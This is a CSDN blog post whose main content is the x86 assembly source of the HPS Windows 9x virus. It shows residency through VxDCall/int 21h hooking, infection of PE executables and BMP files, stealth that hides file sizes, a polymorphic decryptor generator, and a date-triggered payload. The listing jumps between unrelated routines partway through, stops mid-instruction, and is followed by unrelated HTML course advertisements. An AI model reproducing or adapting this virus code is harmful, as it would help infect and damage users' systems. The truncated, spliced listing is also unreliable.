HPS virus 源程序

virus 专栏收录该内容
6 篇文章 0 订阅

 

.386P

                locals

                jumps

                .model flat,STDCALL

                ;Include the following files

                include Win32api.inc

                include Useful.inc

                include Mz.inc

                include Pe.inc

                ;Some externals only used on 1st generation

                extrn ExitProcess:NEAR

                extrn MessageBoxA:NEAR

                ;Virus equates

mem_size        equ mem_end-mem_base            ;Size of virus in

memory

inf_size        equ inf_end-mem_base            ;Size of virus in

files

base_default    equ 00400000h                   ;Default host base

address

page_mem_size   equ (mem_size+      /           ;Virus in memory

                     inf_size+      /           ;Virus copy for

infections

                     poly_max_size+ /           ;Poly decryptor

                     0FFFh)/1000h               ;Size in memory pages

page_align      equ 10000h                      ;Page allocation

alignment

SIZE_PADDING    equ 00000065h                   ;Mark for infected

files

                ;Some equates stolen from VMM.h

PR_PRIVATE      EQU     80000400h

PR_SHARED       EQU     80060000h

PR_SYSTEM       EQU     80080000h

PR_FIXED        EQU     00000008h

PR_4MEG         EQU     00000001h

PR_STATIC       EQU     00000010h

PD_ZEROINIT     EQU     00000001h

PD_NOINIT       EQU     00000002h

PD_FIXEDZERO    EQU     00000003h

PD_FIXED        EQU     00000004h

PC_FIXED        EQU     00000008h

PC_LOCKED       EQU     00000080h

PC_LOCKEDIFDP   EQU     00000100h

PC_WRITEABLE    EQU     00020000h

PC_USER         EQU     00040000h

PC_INCR         EQU     40000000h

PC_PRESENT      EQU     80000000h

PC_STATIC       EQU     20000000h

PC_DIRTY        EQU     08000000h

PCC_ZEROINIT    EQU     00000001h

PCC_NOLIN       EQU     10000000h

_TEXT           segment dword use32 public 'CODE'

host_entry:     xor ebp,ebp

                call entry_1st_gen

                xor eax,eax

                push eax

                call ExitProcess

_TEXT           ends

_DATA           segment dword use32 public 'DATA'

_DATA           ends

_BSS            segment dword use32 public 'BSS'

_BSS            ends

virseg          segment dword use32 public 'HPS'

mem_base        equ this byte

virus_entry:    call get_delta                          ;Get

delta-offset

get_delta:      pop ebp                                 ;into ebp and

                mov eax,ebp                             ;host original

                sub ebp,offset get_delta                ;entry-point

in eax

                db 2Dh                                  ;sub eax,xxxx

infected_ep     dd 00000000h

                db 05h                                  ;add eax,xxxx

original_ep     dd 00000000h

                push eax

entry_1st_gen:  ;Scan memory looking for KERNEL32.dll

                ;We can do this without causing protection faults,

                ;just setup a structured exception handler to trap

faults

                ;produced by our scan

                ;Thanks to Jacky Qwerty for this piece of code

                pushad

try_01:         mov eax,080000101h

                call IGetK32BaseAddr

                jecxz try_02

                jmp kernel_found

try_02:         mov eax,0C0000101h

                call IGetK32BaseAddr

                jecxz try_03

                jmp kernel_found

try_03:         xor eax,eax

                call IGetK32BaseAddr

kernel_found:   mov dword ptr [esp.Pushad_ebx],ecx

                popad

                or ebx,ebx

                jz init_error

                mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]

                add eax,ebx

                mov edi,dword ptr [eax+NT_OptionalHeader.      /

                                       OH_DirectoryEntries.    /

                                       DE_Export.              /

                                       DD_VirtualAddress]

                add edi,ebx

                mov esi,dword ptr [edi+ED_AddressOfFunctions]

                add esi,ebx

                xor edx,edx

address_loop:   cmp edx,dword ptr [edi+ED_NumberOfFunctions]

                jae init_error

                mov ecx,00000008h-01h

function_loop:  inc edx

                lodsd

                cmp eax,dword ptr [esi]

                jne address_loop

                loop function_loop

                add eax,ebx

                mov dword ptr [ebp+a_VxDCall],eax       ;VxDCall found

                ;At this point we know how to call VxDCall api

                ;So we can use our int21h dispatcher to perform

                ;the residency check

                mov eax,00002A00h

                mov esi,"HPS!"

                mov edi,"TSR?"

                call my_int21h

                cmp esi,"YES!"

                je init_error

                ;Check if time to activate our payload

                xor ecx,ecx

                cmp al,06h                              ;Saturday?

                jne activation_end

                inc ecx

activation_end: mov dword ptr [ebp+bmp_active],ecx

                ;Well... Now lets use VxDCall to allocate some

                ;shared memory

                ;This memory will stay there after host termination

                ;and will be visible to all running processes

                push PC_WRITEABLE or PC_USER

                push page_mem_size                      ;# of pages

                push PR_SHARED

                PUSH 00010000h                          ;Call to

_PageReserve

                call dword ptr [ebp+a_VxDCall]          ;VxDCall0

                cmp eax,0FFFFFFFFh                      ;Success?

                je init_error

                cmp eax,80000000h                       ;In shared

memory?

                jb free_pages

                mov dword ptr [ebp+mem_address],eax     ;Save linnear

address

                push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED

                push 00000000h

                push PD_ZEROINIT

                push page_mem_size                      ;# of pages

                shr eax,0Ch                             ;Linnear page

number

                push eax

                push 00010001h                          ;Call to

_PageCommit

                call dword ptr [ebp+a_VxDCall]          ;VxDCall0

                or eax,eax

                je free_pages

commit_success: mov eax,dword ptr [ebp+mem_address]     ;Point eax to

our

                add eax,VxDCall_code-mem_base           ;hook

procedure

                mov dword ptr [ebp+ptr_location],eax    ;Setup far jmp

                mov dword ptr [ebp+hook_status],"FREE"  ;Clear busy

flag

                mov esi,dword ptr [ebp+a_VxDCall]       ;VxDCall

entry-point

                mov ecx,00000100h                       ;Explore 0100h

bytes

trace_VxDCall:  lodsb

                cmp al,2Eh

                jne trace_next

                cmp word ptr [esi],1DFFh

                je get_int30h

trace_next:     loop trace_VxDCall

free_pages:     xor eax,eax

                push eax

                push dword ptr [ebp+mem_address]

                push 0001000Ah                          ;Call to

_PageFree

                call dword ptr [ebp+a_VxDCall]          ;VxDCall0

                jmp init_error

get_int30h:     ;Before setting our hook lets generate one polymorphic

                ;decryptor... We will use this decryptor for each file

                ;infection... This is also known as slow-mutation

                call mutate                             ;Generate

decryptor

                ;Now we have all the necesary information to hook

Windows

                ;calls to VxDCall function

                ;Save the 16:32 pointer to INT 30h instruction and

                ;overwrite it with the address of our hook procedure

                cli

                lodsw                                   ;Skip FF 1D

opcodes

                lodsd                                   ;Get ptr to

INT 30h

                push eax

                mov esi,eax

                mov edi,dword ptr [ebp+mem_address]

                add edi,VxDCall_code-mem_base

                mov ecx,00000006h

                rep movsb

                pop edi

                mov eax,dword ptr [ebp+mem_address]

                add eax,VxDCall_hook-mem_base

                stosd

                mov ax,cs                               ;Overwrite far

ptr

                stosw

                sti

init_error:     lea ebp,dword ptr [esp+0000013Ch-00000004h]

                ret

SEH_ExcptBlock  macro

                add esp,-cPushad

                jnz GK32BA_L1

                endm

IGetK32BaseAddr: @SEH_SetupFrame <SEH_ExcptBlock>

                mov ecx,edx

                xchg ax,cx

GK32BA_L0:      dec cx

                jz GK32BA_L2

                add eax,-10000h

                pushad

                mov bx,-IMAGE_DOS_SIGNATURE

                add bx,[eax]

                mov esi,eax

                jnz GK32BA_L1

                mov ebx,-IMAGE_NT_SIGNATURE

                add eax,[esi.MZ_lfanew]

                mov edx,esi

                add ebx,[eax]

                jnz GK32BA_L1

                add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries  /

                         .DE_Export.DD_VirtualAddress]

                cld

                add esi,[edx.ED_Name]

                lodsd

                and eax,not 20202020h

                add eax,-'NREK'

                jnz GK32BA_L1

                lodsd

                or ax,2020h

                add eax,-'23le'

                jnz GK32BA_L1

                lodsb

                xor ah,al

                jz GK32BA_L1

                add al,-'.'

                lodsd

                jnz GK32BA_L1

                and eax,not 202020h

                add eax,-'LLD'

GK32BA_L1:      popad

                jnz GK32BA_L0

                xchg ecx,eax

                inc eax

GK32BA_L2:      @SEH_RemoveFrame

                ret

                include excpt.inc

VxDCall_hook:   pushad

                call mem_delta                          ;Get

mem_delta:      pop ebp                                 ;delta offset

                sub ebp,offset mem_delta

                cmp dword ptr [ebp+hook_status],"BUSY"  ;Dont process

our

                je exit_hook                            ;own calls

                cmp eax,002A0010h                       ;VWIN32 VxD

int 21h?

                jne exit_hook

                mov eax,dword ptr [esp+0000002Ch]

                cmp ax,2A00h                            ;Get system

                je tsr_check

                cmp ax,3D00h                            ;Open file

                je infection_edx

                cmp ax,3D01h                            ;Open file

                je infection_edx                        ;read/write?

                cmp ax,7143h                            ;X-Get/set

                je infection_edx

                cmp ax,714Eh                            ;LFN find

                je stealth

                cmp ax,714Fh                            ;LFN find next

                je stealth

                cmp ax,7156h                            ;LFN rename

                je infection_edx

                cmp ax,716Ch                            ;LFN extended

                je infection_esi

                cmp ax,71A8h                            ;Generate

                je infection_esi

exit_hook:      popad

do_far_jmp:     ;Do a jmp fword ptr cs:[xxxxxxxx] into original code

                db 2Eh,0FFh,2Dh

ptr_location    dd 00000000h

tsr_check:      cmp esi,"HPS!"                          ;Is our tsr

check?

                jne exit_hook

                cmp edi,"TSR?"

                jne exit_hook

                popad

                mov esi,"YES!"                          ;Already

resident

                jmp short do_far_jmp

stealth:        mov eax,dword ptr [esp+00000028h]       ;Save return

address

                mov dword ptr [ebp+stealth_ret],eax

                lea eax,dword ptr [ebp+api_ret]         ;Set new ret

address

                mov dword ptr [esp+00000028h],eax

                mov dword ptr [ebp+find_data],edi       ;Save

ptr2FindData

                jmp exit_hook

api_ret:        ;As result of the above code we will get control after

                ;int21h FindFirst or FindNext funcions

                jc back2caller                          ;Exit if fail

                pushad                                  ;Save all

registers

                call stealth_delta                      ;Delta offset

used

stealth_delta:  pop ebp                                 ;in stealth

routines

                sub ebp,offset stealth_delta

                db 0BFh                                 ;mov edi,ptr

FindData

find_data       dd 00000000h

                xor eax,eax

                cmp dword ptr [edi+WFD_nFileSizeHigh],eax

                jne stealth_done

                mov eax,dword ptr [edi+WFD_nFileSizeLow]

                mov ecx,SIZE_PADDING

                xor edx,edx

                div ecx

                or edx,edx

                jnz stealth_done

                lea esi,dword ptr [edi+WFD_szFileName]  ;Ptr to

filename

                push esi

                call check_filename

                pop esi

                jc stealth_done

                mov dword ptr [ebp+hook_status],"BUSY"  ;Set busy flag

                mov eax,0000716Ch                       ;LFN Ext

Open/Create

                xor ebx,ebx                             ;Read

                xor ecx,ecx                             ;Attribute

normal

                xor edx,edx

                inc edx                                 ;Open existing

                call my_int21h

                jc stealth_done

                mov ebx,eax

                mov edx,dword ptr [edi+WFD_nFileSizeLow]

                sub edx,00000004h

                call seek_here

                jc close_stealth

                mov eax,00003F00h                       ;Read bytes

written

                mov ecx,00000004h

                lea edx,dword ptr [ebp+stealth_this]

                call my_int21h

                jc close_stealth

                mov eax,dword ptr [ebp+stealth_this]

                sub dword ptr [edi+WFD_nFileSizeLow],eax

close_stealth:  mov eax,00003E00h                       ;Close file

                call my_int21h

stealth_done:   mov dword ptr [ebp+hook_status],"FREE"  ;Clear busy

flag

                popad                                   ;Save all

registers

                clc                                     ;Return no

error

back2caller:    push eax

                push eax

                db 0B8h                                 ;Load eax with

the

stealth_ret     dd 00000000h                            ;return

address

                mov dword ptr [esp+00000004h],eax

                pop eax

                ret

infection_edx:  mov esi,edx

infection_esi:  mov dword ptr [ebp+hook_status],"BUSY"  ;Set busy flag

                call check_filename

                jc exit_infection

                mov dword ptr [ebp+ptr_filename],edx

                mov esi,edx

                xor ecx,ecx

                cld

name_checksum:  xor eax,eax

                lodsb

                or al,al

                jz got_checksum

                add ecx,eax

                jmp short name_checksum

got_checksum:   cmp dword ptr [ebp+last_checksum],ecx

                je exit_infection

                mov dword ptr [ebp+last_checksum],ecx

                mov eax,00007143h                       ;LFN Ext

                xor ebx,ebx                             ;Retrieve

                lea edx,dword ptr [ebp+target_filename] ;Ptr to

                call my_int21h

                jc exit_infection

                mov dword ptr [ebp+file_attrib],ecx     ;Save original

                mov eax,00007143h                       ;LFN Ext

                mov bl,01h                              ;Set file

                xor ecx,ecx                             ;Clear all

                lea edx,dword ptr [ebp+target_filename] ;Ptr to

                call my_int21h

                jc exit_infection

                mov eax,00007143h                       ;LFN Ext

                mov bl,04h                              ;Retrieve last w

                lea edx,dword ptr [ebp+target_filename] ;Ptr to

                call my_int21h

                jc exit_infection

                mov dword ptr [ebp+file_time],ecx       ;Save original

                mov dword ptr [ebp+file_date],edi       ;Save original

                mov eax,0000716Ch                       ;LFN Ext

                mov ebx,00000002h                       ;Read/Write

                xor ecx,ecx                             ;Attribute

                mov edx,00000001h                       ;Open existing

                lea esi,dword ptr [ebp+target_filename] ;Ptr to

                call my_int21h

                jc exit_infection

                mov ebx,eax

                mov eax,00003F00h                       ;Read MsDos

                mov ecx,IMAGE_SIZEOF_DOS_HEADER         ;or bitmap

                lea edx,dword ptr [ebp+msdos_header]    ;header

                call my_int21h

                jc close_file

                cmp word ptr [ebp+msdos_header],IMAGE_DOS_SIGNATURE

                je executable

                xor eax,eax

                cmp dword ptr [ebp+bmp_active],eax

                je close_file

                cmp word ptr [ebp+msdos_header],"MB"

                jne close_file

                cmp dword ptr [ebp+msdos_header+0000001Ah],00080001h

                jne close_file

                ;Skip .BMP files that use compression

                xor eax,eax

                cmp dword ptr [ebp+msdos_header+0000001Eh],eax

                jne close_file

                ;Check bitmap size in bytes

                mov eax,dword ptr [ebp+msdos_header+00000012h]

                mov ecx,dword ptr [ebp+msdos_header+00000016h]

                mul ecx

                cmp eax,dword ptr [ebp+msdos_header+00000022h]

                jne close_file

                call seek_eof

                cmp dword ptr [ebp+msdos_header+00000002h],eax

                jne close_file

                add eax,00000FFFh

                xor edx,edx

                mov ecx,00001000h

                div ecx

                mov dword ptr [ebp+bmp_pages],eax

                push ebx

                push PC_WRITEABLE or PC_USER

                push eax                                ;# of pages

                push PR_SYSTEM

                PUSH 00010000h                          ;Call to

_PageReserve

                call dword ptr [ebp+a_VxDCall]          ;VxDCall0

                pop ebx

                cmp eax,0FFFFFFFFh                      ;Success?

                je close_file

                mov dword ptr [ebp+bmp_address],eax     ;Save linnear

                push ebx

                push PC_WRITEABLE or PC_USER

                push 00000000h

                push PD_ZEROINIT

                push dword ptr [ebp+bmp_pages]          ;# of pages

                shr eax,0Ch                             ;Linnear page

                push eax

                push 00010001h                          ;Call to

_PageCommit

                call dword ptr [ebp+a_VxDCall]          ;VxDCall0

                pop ebx

                or eax,eax

                je free_bmp_mem

                call seek_bof                           ;Return to bof

                jc close_file

                mov eax,00003F00h                       ;Read the

                mov ecx,dword ptr [ebp+msdos_header+00000002h]

                mov edx,dword ptr [ebp+bmp_address]

                call my_int21h

                jc free_bmp_mem

                mov eax,dword ptr [ebp+bmp_address]

                mov esi,dword ptr [eax+0000000Ah]

                add esi,eax

                cmp dword ptr [esi],0DEADBABEh          ;Already

                je free_bmp_mem

                push esi

   push edi

                mov ecx,SIZE_PADDING

                call rnd_fill

                pop edi

                ;Decryptor done, save its size

                pop eax

                sub dword ptr [ebp+entry_point],eax

                sub edi,eax

                mov dword ptr [ebp+decryptor_size],edi

                ;Copy virus body to our buffer

                lea esi,dword ptr [ebp+mem_base]

                mov edi,dword ptr [ebp+mem_address]

                mov ecx,mem_size

                rep movsb

                popad

                ret

scramble_virus: lea esi,dword ptr [ebp+mem_base]

                lea edi,dword ptr [esi+mem_size]

                push edi

                mov ecx,inf_size

                cld

                rep movsb

                call fixed_size2ecx

                pop edi

loop_hide_code: push ecx

                mov eax,dword ptr [edi]

                call perform_crypt

                xor ecx,ecx

                mov cl,byte ptr [ebp+oper_size]

loop_copy_res:  stosb

                shr eax,08h

                loop loop_copy_res

                pop ecx

                loop loop_hide_code

                ret

perform_crypt:  ;This buffer will contain the code to "crypt" the

virus code

                ;followed by a RET instruction

                db 10h dup (90h)

gen_get_delta:  ;Lets generate polymorphic code for the following

pseudocode:

                mov al,0E8h

                stosb

                ;Let space for the address to call

                stosd

                mov dword ptr [ebp+delta_call],edi

                push edi

                ;Generate some random data

                call gen_rnd_block

                ;Get displacement from CALL instruction to destination

                ;address

                mov eax,edi

                pop esi

                sub eax,esi

                ;Put destination address after CALL opcode

                mov dword ptr [esi-00000004h],eax

                call gen_garbage

                mov al,58h

                or al,byte ptr [ebp+index_mask]

                stosb

                call gen_garbage

                ;Make needed fixes to point index to start or end of

                ;encrypted code

                mov eax,dword ptr [ebp+mem_address]

                add eax,mem_size

                add eax,dword ptr [ebp+ptr_disp]

                sub eax,dword ptr [ebp+delta_call]

                test byte ptr [ebp+build_flags],CRYPT_DIRECTION

                jz fix_dir_ok

                ;Direction is from top to bottom

                push eax

                call fixed_size2ecx

                xor eax,eax

                mov al,byte ptr [ebp+oper_size]

                push eax

                mul ecx

                pop ecx

                sub eax,ecx

                pop ecx

                add eax,ecx

fix_dir_ok:     push eax

                ;Fix using ADD or SUB?

                call get_rnd32

                and al,01h

                jz fix_with_sub

fix_with_add:   ;Generate ADD reg_index,fix_value

                mov ax,0C081h

                or ah,byte ptr [ebp+index_mask]

                stosw

                pop eax

                jmp short fix_done

fix_with_sub:   ;Generate SUB reg_index,-fix_value

                mov ax,0E881h

                or ah,byte ptr [ebp+index_mask]

                stosw

                pop eax

                neg eax

fix_done:       stosd

                ret

gen_load_ctr:   ;Easy now, just move counter random initial value

                ;into counter reg and calculate the end value

                mov al,0B8h

                or al,byte ptr [ebp+counter_mask]

                stosb

                call fixed_size2ecx

                call get_rnd32

                stosd

                test byte ptr [ebp+build_flags],CRYPT_CDIR

                jnz counter_down

counter_up:     add eax,ecx

                jmp short done_ctr_dir

counter_down:   sub eax,ecx

done_ctr_dir:   mov dword ptr [ebp+end_value],eax

                ret

gen_decrypt:    ;Check if we are going to use a displacement in the

                ;indexing mode

                mov eax,dword ptr [ebp+ptr_disp]

                or eax,eax

                jnz more_complex

                ;Choose generator for [reg] indexing mode

                mov edx,offset tbl_idx_reg

                call choose_magic

                jmp you_got_it

more_complex:   ;More fun?!?!

                mov al,byte ptr [ebp+build_flags]

                test al,CRYPT_SIMPLEX

                jnz crypt_xtended

                ;Choose generator for [reg+imm] indexing mode

                mov edx,offset tbl_dis_reg

                call choose_magic

you_got_it:     ;Use magic to convert some values into

                ;desired instructions

                call size_correct

                mov dl,byte ptr [ebp+index_mask]

                lodsb

                or al,al

                jnz adn_reg_01

                cmp dl,00000101b

                je adn_reg_02

adn_reg_01:     lodsb

                or al,dl

                stosb

                jmp common_part

adn_reg_02:     lodsb

                add al,45h

                xor ah,ah

                stosw

                jmp common_part

crypt_xtended:  ;Choose [reg+reg] or [reg+reg+disp]

                test al,CRYPT_COMPLEX

                jz ok_complex

                ;Get random displacement from current displacement

                ;eeehh?!?

                mov eax,00000010h

                call get_rnd_range

                mov dword ptr [ebp+disp2disp],eax

                call load_aux

                push ebx

                call gen_garbage

                ;Choose generator for [reg+reg+imm] indexing mode

                mov edx,offset tbl_paranoia

                call choose_magic

                jmp short done_xtended

ok_complex:     mov eax,dword ptr [ebp+ptr_disp]

                call load_aux

                push ebx

                call gen_garbage

                ;Choose generator for [reg+reg] indexing mode

                mov edx,offset tbl_xtended

                call choose_magic

done_xtended:   ;Build decryptor instructions

                call size_correct

                pop ebx

                mov dl,byte ptr [ebp+index_mask]

                lodsb

                mov cl,al

                or al,al

                jnz arn_reg_01

                cmp dl,00000101b

                jne arn_reg_01

                lodsb

                add al,40h

                stosb

                jmp short arn_reg_02

arn_reg_01:     movsb

arn_reg_02:     mov al,byte ptr [ebx+REG_MASK]

                shl al,03h

                or al,dl

                stosb

                or cl,cl

                jnz arn_reg_03

                cmp dl,00000101b

                jne arn_reg_03

                xor al,al

                stosb

arn_reg_03:     ;Restore aux reg state

                xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

common_part:    ;Get post-build flags

                lodsb

                ;Insert displacement from real address?

                test al,MAGIC_PUTDISP

                jz skip_disp

                push eax

                mov eax,dword ptr [ebp+ptr_disp]

                sub eax,dword ptr [ebp+disp2disp]

                neg eax

                stosd

                pop eax

skip_disp:      ;Insert key?

                test al,MAGIC_PUTKEY

                jz skip_key

                call copy_key

skip_key:       ;Generate reverse code

                call do_reverse

                ret

choose_magic:   mov eax,00000006h

                call get_rnd_range

                add edx,ebp

                lea esi,dword ptr [edx+eax*04h]

                lodsd

                add eax,ebp

                mov esi,eax

                ret

size_correct:   lodsb

                mov ah,byte ptr [ebp+oper_size]

                cmp ah,01h

                je store_correct

                inc al

                cmp ah,04h

                je store_correct

                mov ah,66h

                xchg ah,al

                stosw

                ret

store_correct:  stosb

                ret

load_aux:       ;Get a valid auxiliary register

                push eax

                call get_valid_reg

                or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

                ;Move displacement into aux reg

                mov al,0B8h

                or al,byte ptr [ebx+REG_MASK]

                stosb

 

                pop eax

                neg eax

                stosd

                ret

do_reverse:     xor eax,eax

                mov al,byte ptr [ebp+oper_size]

                shr eax,01h

                shl

  • 0
    点赞
  • 0
    评论
  • 0
    收藏
  • 一键三连
    一键三连
  • 扫一扫,分享海报

打赏
文章很值,打赏犒劳作者一下
<p style="font-size:16px;color:#666666;"> <img src="https://img-bss.csdn.net/202001311426171105.png" alt="" /> </p> <p style="font-size:16px;color:#666666;"> <strong><span style="font-size:20px;">课程目标</span></strong> </p> <p style="font-size:16px;color:#666666;"> 《从零开始学Scrapy网络爬虫》从零开始,循序渐进地介绍了目前流行的网络爬虫框架Scrapy。即使你没有任何编程基础,学习起来也不会有压力,因为我们有针对性地介绍了Python编程技术。另外,《从零开始学Scrapy网络爬虫》在讲解过程中以案例为导向,通过对案例的不断迭代、优化,让读者加深对知识的理解,并通过14个项目案例,提高学习者解决实际问题的能力。 </p> <p style="font-size:16px;color:#666666;"> <br /> </p> <p style="font-size:16px;color:#666666;"> <strong><span style="font-size:20px;">适合对象</span></strong> </p> <p style="font-size:16px;color:#666666;"> 爬虫初学者、爬虫爱好者、高校相关专业的学生、数据爬虫工程师。 </p> <p style="font-size:16px;color:#666666;"> <br /> </p> <p style="font-size:16px;color:#666666;"> <span style="font-size:20px;"><strong>课程介绍</strong></span> </p> <p style="font-size:16px;color:#666666;"> 《从零开始学Scrapy网络爬虫》共13章。其中,第1~4章为基础篇,介绍了Python基础、网络爬虫基础、Scrapy框架及基本的爬虫功能。第5~10章为进阶篇,介绍了如何将爬虫数据存储于MySQL、MongoDB和Redis数据库中;如何实现异步AJAX数据的爬取;如何使用Selenium和Splash实现动态网站的爬取;如何实现模拟登录功能;如何突破反爬虫技术,以及如何实现文件和图片的下载。第11~13章为高级篇,介绍了使用Scrapy-Redis实现分布式爬虫;使用Scrapyd和Docker部署分布式爬虫;使用Gerapy管理分布式爬虫,并实现了一个抢票软件的综合项目。 </p> <p style="font-size:16px;color:#666666;"> <span style="color:#FF0000;">      由于目标网站可能会对页面进行改版或者升级反爬虫措施,如果发现视频中的方法无法成功爬取数据,敬请按照页面实际情况修改XPath的路径表达式。视频教程主要提供理论、方法支撑。我们也会在第一时间更新源代码,谢谢!</span> </p> <p style="font-size:16px;color:#666666;"> <img src="https://img-bss.csdn.net/202001311426306665.png" alt="" /> </p> <p style="font-size:16px;color:#666666;"> <strong><span style="font-size:20px;">课程特色</span></strong> </p> <p style="font-size:16px;"> <img src="https://img-bss.csdn.net/202001311426415123.png" alt="" /> </p> <div> <br /> </div>
相关推荐
<div style="color:rgba(0,0,0,.75);"> <span style="color:#4d4d4d;"> </span> <div style="color:rgba(0,0,0,.75);"> <span style="color:#4d4d4d;"> </span> <div style="color:rgba(0,0,0,.75);"> <div style="color:rgba(0,0,0,.75);"> <span style="color:#4d4d4d;">当前课程中商城项目的实战源码是我发布在 GitHub 上的开源项目 newbee-mall (新蜂商城),目前已有 6300 多个 star,</span><span style="color:#4d4d4d;">本课程是一个 Spring Boot 技术栈的实战类课程,课程共分为 3 大部分,前面两个部分为基础环境准备和相关概念介绍,第三个部分是 Spring Boot 商城项目功能的讲解,让大家实际操作并实践上手一个大型的线上商城项目,并学习到一定的开发经验以及其中的开发技巧。<br /> 商城项目所涉及的功能结构图整理如下:<br /> </span> </div> <div style="color:rgba(0,0,0,.75);">   </div> <div style="color:rgba(0,0,0,.75);"> <p style="color:#4d4d4d;"> <img alt="modules" src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uZXdiZWUtbWFsbC5vc3MtY24tYmVpamluZy5hbGl5dW5jcy5jb20vcG9zdGVyL3N0b3JlL25ld2JlZS1tYWxsLXMucG5n?x-oss-process=image/format,png" /> </p> </div> <p style="color:rgba(0,0,0,.75);"> <strong><span style="color:#e53333;">课程特色</span></strong> </p> <p style="color:rgba(0,0,0,.75);">   </p> <div style="color:rgba(0,0,0,.75);">   </div> <div style="color:rgba(0,0,0,.75);"> <ul> <li> 对新手开发者十分友好,无需复杂的操作步骤,仅需 2 秒就可以启动这个完整的商城项目 </li> <li> 最终的实战项目是一个企业级别的 Spring Boot 大型项目,对于各个阶段的 Java 开发者都是极佳的选择 </li> <li> 实践项目页面美观且实用,交互效果完美 </li> <li> 教程详细开发教程详细完整、文档资源齐全 </li> <li> 代码+讲解+演示网站全方位保证,向 Hello World 教程说拜拜 </li> <li> 技术栈新颖且知识点丰富,学习后可以提升大家对于知识的理解和掌握,可以进一步提升你的市场竞争力 </li> </ul> </div> <p style="color:rgba(0,0,0,.75);">   </p> <p style="color:rgba(0,0,0,.75);"> <span style="color:#e53333;">课程预览</span> </p> <p style="color:rgba(0,0,0,.75);">   </p> <div style="color:rgba(0,0,0,.75);">   </div> <div style="color:rgba(0,0,0,.75);"> <p style="color:#4d4d4d;"> 以下为商城项目的页面和功能展示,分别为: </p> </div> <div style="color:rgba(0,0,0,.75);"> <ul> <li> 商城首页 1<br /> <img alt="" src="https://img-bss.csdnimg.cn/202103050347585499.gif" /> </li> <li> 商城首页 2<br /> <img alt="" src="https://img-bss.csdn.net/202005181054413605.png" /> </li> <li>   </li> <li> 购物车<br /> <img alt="cart" src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uZXdiZWUtbWFsbC5vc3MtY24tYmVpamluZy5hbGl5dW5jcy5jb20vcG9zdGVyL3Byb2R1Y3QvY2FydC5wbmc?x-oss-process=image/format,png" /> </li> <li> 订单结算<br /> <img alt="settle" src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uZXdiZWUtbWFsbC5vc3MtY24tYmVpamluZy5hbGl5dW5jcy5jb20vcG9zdGVyL3Byb2R1Y3Qvc2V0dGxlLnBuZw?x-oss-process=image/format,png" /> </li> <li> 订单列表<br /> <img alt="orders" src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uZXdiZWUtbWFsbC5vc3MtY24tYmVpamluZy5hbGl5dW5jcy5jb20vcG9zdGVyL3Byb2R1Y3Qvb3JkZXJzLnBuZw?x-oss-process=image/format,png" /> </li> <li> 支付页面<br /> <img alt="" src="https://img-bss.csdn.net/201909280301493716.jpg" /> </li> <li> 后台管理系统登录页<br /> <img alt="login" src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uZXdiZWUtbWFsbC5vc3MtY24tYmVpamluZy5hbGl5dW5jcy5jb20vcG9zdGVyL3Byb2R1Y3QvbWFuYWdlLWxvZ2luLnBuZw?x-oss-process=image/format,png" /> </li> <li> 商品管理<br /> <img alt="goods" src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9uZXdiZWUtbWFsbC5vc3MtY24tYmVpamluZy5hbGl5dW5jcy5jb20vcG9zdGVyL3Byb2R1Y3QvbWFuYWdlLWdvb2RzLnBuZw?x-oss-process=image/format,png" /> </li> <li> 商品编辑<br /> <img alt="" src="https://img-bss.csdnimg.cn/202103050348242799.png" /> </li> </ul> </div> </div> </div> </div>
<p style="color:#333333;"> <strong> </strong> </p> <p style="font-family:"color:#222226;font-size:14px;background-color:#FFFFFF;"> <strong><span style="color:#337FE5;">[为什么要学习Spring Cloud微服务]</span> </strong> </p> <p style="font-family:"color:#222226;font-size:14px;background-color:#FFFFFF;"> <strong><span style="color:#4D555D;"></span> </strong> </p> <p class="ql-long-24357476" style="font-family:"color:#222226;font-size:14px;background-color:#FFFFFF;"> <strong><span style="font-family:"background-color:#FFFFFF;">SpringCloud作为主流微服务框架,<span style="color:#4D555D;">已成为各互联网公司的首选框架,国内外企业占有率持续攀升,</span>是Java工程师的必备技能。</span><span style="font-family:"background-color:#FFFFFF;">就连大名鼎鼎的阿里巴巴</span><span style="font-family:"background-color:#FFFFFF;">dubbo</span><span style="font-family:"background-color:#FFFFFF;">也正式更名为</span><span style="font-family:"background-color:#FFFFFF;">Spring Cloud Alibaba</span><span style="font-family:"background-color:#FFFFFF;">,成为了</span><span style="font-family:"background-color:#FFFFFF;">Spring Cloud </span><span style="font-family:"background-color:#FFFFFF;">微服务中的一个子模块。</span><span style="font-family:"background-color:#FFFFFF;"></span><span style="font-family:"background-color:#FFFFFF;">Spring Cloud是企业架构转型、个人能力提升、架构师进阶的不二选择。</span> </strong> </p> <p style="color:#333333;"> <strong><strong><br /> </strong> </strong> </p> <strong><span style="font-family:"color:#337FE5;font-size:14px;background-color:#FFFFFF;">【推荐你学习这门课的理由】</span><br /> </strong> <p> <br /> </p> <p> <span>1、</span><span style="color:#222226;font-family:"font-size:14px;background-color:#FFFFFF;">本课程总计</span><span style="background-color:#FFFFFF;">29</span><span style="color:#222226;font-family:"font-size:14px;background-color:#FFFFFF;">课时,<span style="color:#333333;">从微服务是什么、能够做什么开始讲起,绝对的零基础入门</span></span><span></span> </p> <p> <span style="background-color:#FFFFFF;">2、<span style="color:#333333;">课程附带全部26个项目源码,230页高清PDF正版课件</span><span style="color:#333333;"></span></span> </p> <p> <span style="background-color:#FFFFFF;"><b><br /> </b></span> </p> <p> <span style="background-color:#FFFFFF;"><b><span style="color:#337FE5;">【课程知识梳理】</span></b></span> </p> <p> <span style="background-color:#FFFFFF;"><b>1、</b></span><span style="color:#333333;">先讲解了什么是单体架构、什么是微服务架构、他们之间有什么区别和联系,各自有什么优缺点。</span> </p> <p> <span style="color:#333333;">2、</span><span style="color:#333333;">从本质入手,使用最简单的Spring Boot搭建微服务,让你认清微服务是一种思想和解决问题的手段,而不是新兴技术。</span> </p> <p style="color:#333333;"> 3、讲解Spring Boot 与Spring Cloud 微服务架构之间的联系,原生的RestTemplate工具,以及Actuator监控端点的使用。 </p> <p 